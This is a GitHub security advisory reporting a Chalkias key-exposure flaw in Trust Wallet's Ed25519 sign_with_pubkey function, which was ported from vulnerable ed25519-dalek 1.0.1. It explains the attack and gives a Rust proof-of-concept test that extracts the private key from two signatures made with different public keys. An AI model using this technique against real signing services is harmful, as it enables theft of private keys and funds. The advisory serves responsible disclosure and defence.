Skip to content

Key exposure attack in secret.rs

Critical
satoshiotomakan published GHSA-7g72-jxww-q9vq Dec 10, 2024

Package

cargo ed25519-dalek (Rust)

Affected versions

<2.0.0

Patched versions

2.0.0

Description

Summary

The function sign_with_pubkey used in tw_keypair/src/ed25519 is vulnerable to Chalkias attack, this vulnerability allows an attacker to use the signing function with arbitrary public keys leading to the extraction of the private key.

Details

Chalkias attack exploits improper implementations of Ed25519 digital signature algorithms. Specifically, it leverages the failure to validate the relationship between the private and public keys during the signing process. In order to explain the attack the simplest way possible and how it applies to Trust Wallet, let’s take a look at the sign_with_pubkey function with its comments taken directly from TW source code. This function is the main component that allowed this attack.

    /// Signs a message with this `ExpandedSecretKey`.
    /// Source: https://github.com/dalek-cryptography/ed25519-dalek/blob/1.0.1/src/secret.rs#L389-L412
    /// Ported: https://github.com/trustwallet/wallet-core/blob/423f0e34725f69c0a9d535e1a32534c99682edea/trezor-crypto/crypto/ed25519-donna/ed25519.c#L97-L130
    #[allow(non_snake_case)]
    pub(crate) fn sign_with_pubkey(
        &self,
        pubkey: H256,
        message: &[u8],
    ) -> KeyPairResult<Signature> {
        let mut h = H::new();

        h.update(self.nonce.as_slice());
        h.update(message);

        let r = Scalar::from_hash(h);
        let R = (&r * constants::ED25519_BASEPOINT_TABLE).compress();

        h = H::new();
        h.update(R.as_bytes());
        h.update(pubkey);
        h.update(message);

        let k = Scalar::from_hash(h);

        let s = k * self.key + r;

        Ok(Signature { R, s })
    }

Before explaining the above function we can see that the logic of this signature process is taken from rust implementation of ed25519-dalek version 1.0.1(vulnerable version).
The sign_with_pubkey function simply takes the first parameter &self which is ExpandedSecretKey, it contains both the private key and nonce. The second parameter pubkey is the public key and the third one message is the message we want to sign. Note that normally and according to the related RFC 8032, EdDSA signatures are deterministic. For the same input message to be signed, a signature output includes two elements a curve point R and a scalar S. However, in the current implementation we dont have any validation to check if the pubkey is the actual public key for the given private key, this mean we can produce two signature the one with correct public key and a signature with the wrong public key. This will lead to a situation where the same message signed could have two signatures sharing the R part but differing in the S part, when this happens we can easily extract the private key used to sign the message. This situation is exactly the core concept of the Chalkias attack and how a large number of existing libraries failed to address this issue. These implementations allow arbitrary public keys as inputs without checking if the input public key corresponds to the input private key.

Quote from the main attack repo:

An algorithmic detail is that the signer's public key is involved in the deterministic computation of the S part of the signature only, but not in the R value. The latter implies that if an adversary could somehow use the signing function as an Oracle (that expects arbitrary public keys as inputs), then it is possible that for the same message one can get two signatures sharing the same R and only differ on the S part. Unfortunately, when this happens, one can easily extract the private key; this StackOverflow post explains why this is feasible.

In simpler terms, the signing function should not expose the public key as an input parameter. Instead, it should derive the public key internally from the private key provided in the parameters and use it for the signing process. This ensures that the public key is always correctly paired with the private key, preventing scenarios where an arbitrary public key could be introduced into the signing process. The attack exploits a missing validation step in some implementations, including ed25519-dalek Rust library versions prior to 2.0.0. While this vulnerability was fixed in version 2.0.0, the comments in the sign_with_pubkey function indicate that the logic originates from ed25519-dalek version 1.0.1, which is known to be vulnerable.

PoC

To test this attack in a straightforward way, you can add the test function below to secret.rs right after the test_ed25519_expanded_secret_from_extended_key function.

 #[test]
fn test_ed25519_expanded_secret_steal() {
    // Define the secret key from a string representation
    let secret = H256::from("b52a1a9f4ae3bff2d16a06e144bcdd4147a35aa9843cfd0edf458afdf5ba1a3b");
    // Define the nonce for key expansion
    let nonce = H256::from("b33b86344897745b35bb3ef8ca8fe8a3758bd31a537280a6b8c60e42a1f3a00d");
    // Create an expanded secret key using the secret and nonce
    let secret_key: ExpandedSecretKey<Sha512> = ExpandedSecretKey::with_extended_secret(secret, nonce);
    // Print the private key for verification
    println!("private key: {:?}", secret_key.key);
    // Define correct and incorrect public keys
    let correct_public = H256::from("7950119e049a53a9eaa6ecfbfe354337287056ba0ea054130c1b0c97f1b69697");
    let wrong_public = H256::from("1234519e049a53a9eaa6ecfbfe354337287056ba0ea054130c1b0c97f1b12345");
    // Define a simple message to sign
    let message = hex::decode("00000000").unwrap();
    // Sign the message with the correct public key
    let signature = secret_key.sign_with_pubkey(correct_public, &message).unwrap();
    println!("signature using correct pubkey {:?}", signature);
    // Compute k for the correct signature H(signature.R || correct_public || message)
    let mut h = Sha512::new(); 
    h.update(signature.R.as_bytes());
    h.update(correct_public);
    h.update(&message);
    let k = Scalar::from_hash(h);
    println!("Computed k: {:?}", k);
    // Sign the message with the wrong public key
    let signature2 = secret_key.sign_with_pubkey(wrong_public, &message).unwrap();
    println!("signature using wrong pubkey {:?}", signature2);
    // Compute k for the incorrect signature H(signature2.R || wrong_public || message)
    let mut h2 = Sha512::new(); 
    h2.update(signature2.R.as_bytes());
    h2.update(wrong_public);
    h2.update(&message);
    let k2 = Scalar::from_hash(h2);
    println!("Computed k2: {:?}", k2);
    // Calculate the difference in 's' values from signatures
    let S1_minus_S2 = signature.s - signature2.s;
    // Calculate the difference in 'k' values
    let h1_minus_h2 = k - k2;
    // Extract the private key using the differences
    let extracted_privkey = S1_minus_S2 * h1_minus_h2.invert();
    println!("extracted_privkey: {:?}", extracted_privkey);
    // Verify if the extracted private key matches the original
    assert_eq!(secret_key.key, extracted_privkey);
}

Important Links

Impact

From what I understand so far and considering how TW has many interconnected elements that I couldn’t fully review, I can’t say with 100% certainty that this attack is applicable in production or could lead to private key leaks for TW users, I chose to submit this report private to avoid any unintended consequences, especially if it is confirmed that the impact of this attack is significant. It’s likely that you don’t expose the sign_with_pubkey exactly as it’s defined in exposed user functions. However the core issue here, insufficient validation of the pubkey in the sign_with_pubkey function could potentially allow private key extraction if used in an incorrect way.

Severity

Critical

CVE ID

No known CVE

Weaknesses

No CWEs

Credits